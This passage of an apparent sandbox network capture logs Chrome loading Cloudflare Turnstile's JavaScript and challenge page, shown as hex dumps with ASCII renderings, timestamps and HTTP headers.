innerWidth<400,c=e.state===Ie.FAILURE_FEEDBACK\|\|e.state===Ie.FAILURE_HAVING_TROUBLES,u,g=M(Nr,(u=(r=e.displayLanguage)===null\|\|r===void 0?void 0:r.toLowerCase())!==null&&u!==void 0?u:"nonexistent"),h,l=M(kr,(h=(n=e.displayLanguage)===null\|\|n===void 0?void
2025-01-13 20:52:48 UTC	1369	IN	Data Raw: 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 53 65 28 65 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 6a 65 28 29 3f 53 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 53 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 75 2c 67 29 7b 76 61 72 20 68 3d 5b 6e 75 6c 6c 5d 3b 68 2e 70 75 73 68 2e 61 70 70 6c 79 28 68 2c 75 29 3b 76 61 72 20 6c 3d 46 75 6e 63 74 69 6f 6e 2e 62 69 6e 64 2e 61 70 70 6c 79 28 63 2c 68 29 2c 70 3d 6e 65 77 20 6c 3b 72 65 74 75 72 6e 20 67 26 26 5a 28 70 2c 67 2e 70 72 6f 74 6f 74 79 70 65 29 2c 70 7d 2c 53 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 61 72 67 75 6d 65 6e 74 73 29 7d 66 75 6e 63 74 69 6f 6e 20 63 65 28 65 29 7b 72 65 74 75 72 6e 20 63 65 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 Data Ascii: urn!1}}function Se(e,r,n){return je()?Se=Reflect.construct:Se=function(c,u,g){var h=[null];h.push.apply(h,u);var l=Function.bind.apply(c,h),p=new l;return g&&Z(p,g.prototype),p},Se.apply(null,arguments)}function ce(e){return ce=Object.setPrototypeOf?Objec
2025-01-13 20:52:48 UTC	1369	IN	Data Raw: 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 73 72 28 6e 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 7a 65 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 73 74 61 72 74 73 57 69 74 68 28 48 65 29 3f 65 2e 73 75 62 73 74 72 69 6e 67 28 48 65 2e 6c 65 6e 67 74 68 29 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 51 28 65 29 7b 72 65 74 75 72 6e 22 22 2e 63 6f 6e 63 61 74 28 48 65 29 2e 63 6f 6e 63 61 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 29 7b 76 61 72 20 65 3d 2f 5c 2f 74 75 72 6e 73 74 69 6c 65 5c 2f 76 30 28 5c 2f 2e 2a 29 3f 5c 2f 61 70 69 5c 2e 6a 73 2f 2c 72 3d 64 6f 63 Data Ascii: ");throw new sr(n,r)}function b(e){console.warn("[Cloudflare Turnstile] ".concat(e))}function ze(e){return e.startsWith(He)?e.substring(He.length):null}function Q(e){return"".concat(He).concat(e)}function Rt(){var e=/\/turnstile\/v0(\/.*)?\/api\.js/,r=doc
2025-01-13 20:52:48 UTC	1369	IN	Data Raw: 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 6c 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 3d 22 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 34 29 22 3b 76 61 72 20 70 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 70 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 74 61 62 6c 65 2d 63 65 6c 6c 22 2c 70 2e 73 74 79 6c 65 2e 76 65 72 74 69 63 61 6c 41 6c 69 67 6e 3d 22 6d 69 64 64 6c 65 22 2c 70 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 70 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 3b Data Ascii: rmOrigin="center center",l.style.overflowX="hidden",l.style.overflowY="auto",l.style.background="rgba(0,0,0,0.4)";var p=document.createElement("div");p.style.display="table-cell",p.style.verticalAlign="middle",p.style.width="100vw",p.style.height="100vh";

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49736	104.18.95.41	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:52:49 UTC	383	OUT	GET /turnstile/v0/b/e0c90b6a3ed1/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:52:49 UTC	471	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 20:52:49 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47521 Connection: close accept-ranges: bytes last-modified: Wed, 08 Jan 2025 13:42:47 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 901845b1cda14210-EWR alt-svc: h3=":443"; ma=86400
2025-01-13 20:52:49 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 57 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 75 5d 28 67 29 2c 6c 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);funct
2025-01-13 20:52:49 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 41 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 6e 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=nu
2025-01-13 20:52:49 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 61 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 42 74 28 65 29 7c 7c 6a 74 28 65 2c 72 29 7c 7c 7a 74 28 65 2c 72 29 7c 7c 71 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 55 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 75 5b 30 Data Ascii: ray$/.test(n))return at(e,r)}}function Ae(e,r){return Bt(e)\|\|jt(e,r)\|\|zt(e,r)\|\|qt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(u[0
2025-01-13 20:52:49 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 58 74 3d 33 30 30 30 32 30 3b 76 61 72 20 44 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 6a 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Xt=300020;var De=300030;var Ve=300031;var j;(fu
2025-01-13 20:52:49 UTC	1369	IN	Data Raw: 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 4a 7c 7c 28 4a 3d 7b 7d 29 29 3b 76 61 72 20 69 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 Data Ascii: ="never",e.MANUAL="manual",e.AUTO="auto"})(J\|\|(J={}));var ie;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(fu
2025-01-13 20:52:49 UTC	1369	IN	Data Raw: 65 63 75 74 65 22 5d 2c 65 29 7d 76 61 72 20 4b 74 3d 33 30 30 2c 24 74 3d 31 30 3b 66 75 6e 63 74 69 6f 6e 20 79 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 6f 66 66 6c 61 62 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 Data Ascii: ecute"],e)}var Kt=300,$t=10;function yt(e){var r=new URLSearchParams;if(e.params._debugSitekeyOverrides&&(e.params._debugSitekeyOverrides.offlabel!=="default"&&r.set("offlabel",e.params._debugSitekeyOverrides.offlabel),e.params._debugSitekeyOverrides.clea
2025-01-13 20:52:49 UTC	1369	IN	Data Raw: 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 49 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 49 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 2c 75 2c 67 3d 4d 28 4e 72 2c 28 75 3d 28 72 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 72 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 72 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 75 21 3d 3d 76 6f 69 64 20 30 3f 75 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 2c 68 2c 6c 3d 4d 28 6b 72 2c 28 68 3d 28 6e 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 6e 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 Data Ascii: innerWidth<400,c=e.state===Ie.FAILURE_FEEDBACK\|\|e.state===Ie.FAILURE_HAVING_TROUBLES,u,g=M(Nr,(u=(r=e.displayLanguage)===null\|\|r===void 0?void 0:r.toLowerCase())!==null&&u!==void 0?u:"nonexistent"),h,l=M(kr,(h=(n=e.displayLanguage)===null\|\|n===void 0?void
2025-01-13 20:52:49 UTC	1369	IN	Data Raw: 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 53 65 28 65 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 6a 65 28 29 3f 53 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 53 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 75 2c 67 29 7b 76 61 72 20 68 3d 5b 6e 75 6c 6c 5d 3b 68 2e 70 75 73 68 2e 61 70 70 6c 79 28 68 2c 75 29 3b 76 61 72 20 6c 3d 46 75 6e 63 74 69 6f 6e 2e 62 69 6e 64 2e 61 70 70 6c 79 28 63 2c 68 29 2c 70 3d 6e 65 77 20 6c 3b 72 65 74 75 72 6e 20 67 26 26 5a 28 70 2c 67 2e 70 72 6f 74 6f 74 79 70 65 29 2c 70 7d 2c 53 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 61 72 67 75 6d 65 6e 74 73 29 7d 66 75 6e 63 74 69 6f 6e 20 63 65 28 65 29 7b 72 65 74 75 72 6e 20 63 65 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 Data Ascii: urn!1}}function Se(e,r,n){return je()?Se=Reflect.construct:Se=function(c,u,g){var h=[null];h.push.apply(h,u);var l=Function.bind.apply(c,h),p=new l;return g&&Z(p,g.prototype),p},Se.apply(null,arguments)}function ce(e){return ce=Object.setPrototypeOf?Objec
2025-01-13 20:52:49 UTC	1369	IN	Data Raw: 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 73 72 28 6e 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 7a 65 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 73 74 61 72 74 73 57 69 74 68 28 48 65 29 3f 65 2e 73 75 62 73 74 72 69 6e 67 28 48 65 2e 6c 65 6e 67 74 68 29 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 51 28 65 29 7b 72 65 74 75 72 6e 22 22 2e 63 6f 6e 63 61 74 28 48 65 29 2e 63 6f 6e 63 61 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 29 7b 76 61 72 20 65 3d 2f 5c 2f 74 75 72 6e 73 74 69 6c 65 5c 2f 76 30 28 5c 2f 2e 2a 29 3f 5c 2f 61 70 69 5c 2e 6a 73 2f 2c 72 3d 64 6f 63 Data Ascii: ");throw new sr(n,r)}function b(e){console.warn("[Cloudflare Turnstile] ".concat(e))}function ze(e){return e.startsWith(He)?e.substring(He.length):null}function Q(e){return"".concat(He).concat(e)}function Rt(){var e=/\/turnstile\/v0(\/.*)?\/api\.js/,r=doc
2025-01-13 20:52:49 UTC	1369	IN	Data Raw: 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 6c 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 3d 22 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 34 29 22 3b 76 61 72 20 70 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 70 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 74 61 62 6c 65 2d 63 65 6c 6c 22 2c 70 2e 73 74 79 6c 65 2e 76 65 72 74 69 63 61 6c 41 6c 69 67 6e 3d 22 6d 69 64 64 6c 65 22 2c 70 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 70 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 3b Data Ascii: rmOrigin="center center",l.style.overflowX="hidden",l.style.overflowY="auto",l.style.background="rgba(0,0,0,0.4)";var p=document.createElement("div");p.style.display="table-cell",p.style.verticalAlign="middle",p.style.width="100vw",p.style.height="100vh";

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49737	104.18.95.41	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:52:49 UTC	822	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/iknh7/0x4AAAAAAA4sf2kw7YnXl1bZ/auto/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:52:49 UTC	1362	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 20:52:49 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 26659 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self' cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA referrer-policy: same-origin document-policy: js-profiling
2025-01-13 20:52:49 UTC	82	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 39 30 31 38 34 35 62 32 34 66 30 63 34 31 65 30 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 901845b24f0c41e0-EWRalt-svc: h3=":443"; ma=86400
2025-01-13 20:52:49 UTC	1294	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
2025-01-13 20:52:49 UTC	1369	IN	Data Raw: 64 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 73 79 73 74 65 6d 2d 75 69 2c 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 72 6f 62 6f 74 6f 2c 6f 78 79 67 65 6e 2c 75 62 75 6e 74 75 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 Data Ascii: dding:0;width:100%}.main-wrapper,body{background-color:#fff;color:#232323;font-family:-apple-system,system-ui,blinkmacsystemfont,Segoe UI,roboto,oxygen,ubuntu,Helvetica Neue,arial,sans-serif;font-size:14px;font-weight:400;-webkit-font-smoothing:antialiase
2025-01-13 20:52:49 UTC	1369	IN	Data Raw: 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 61 6e 69 6d 61 74 69 6f 6e 3a 66 69 72 65 77 6f 72 6b 20 2e 33 73 20 65 61 73 65 2d 6f 75 74 20 31 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 33 32 20 33 32 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 2d 38 7d 23 73 75 63 63 65 73 73 2d 74 65 78 74 7b 61 6e 69 6d 61 74 69 6f 6e 3a 66 61 64 65 2d 69 6e 20 31 73 20 66 6f 72 77 61 72 64 73 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 66 69 6c 6c 3a 23 Data Ascii: stroke:#038127;animation:firework .3s ease-out 1;stroke-width:1;stroke-dasharray:32 32;stroke-dashoffset:-8}#success-text{animation:fade-in 1s forwards;opacity:0}.success-circle{stroke-dashoffset:0;stroke-width:2;stroke-miterlimit:10;stroke:#038127;fill:#
